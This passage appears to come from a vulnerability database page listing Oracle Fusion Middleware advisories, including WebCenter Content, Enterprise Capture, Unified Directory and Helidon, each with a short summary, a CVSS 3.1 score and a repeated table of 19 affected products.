vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Service Delivery Platform Messaging Enabler (versions 14.1.2.0.0 and 12.2.1.4.0) allows a high-privileged attacker with HTTP network access to gain unauthorized access to critical data, with a CVSS 3.1 score of 6.8.
6.8 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Service Delivery Platform 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read and write access, with a CVSS 3.1 base score of 6.5 indicating moderate impact.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with LDAP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 score of 6.8.
6.8 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to exploit the system via HTTP, potentially causing unauthorized data access, modification, deletion, and partial denial of service with a CVSS 3.1 score of 9.6.
9.6 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to gain unauthorized access and modify critical data, rated CVSS 3.1 base score 7.6.
7.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated HTTP attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 7.4 indicating high confidentiality and integrity impact.
7.4 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle WebCenter Content 14.1.2.0.0 allows low-privileged attackers with infrastructure access to compromise system confidentiality and integrity, enabling unauthorized data creation, deletion, or modification.
8.4 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 score of 7.4.
7.4 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
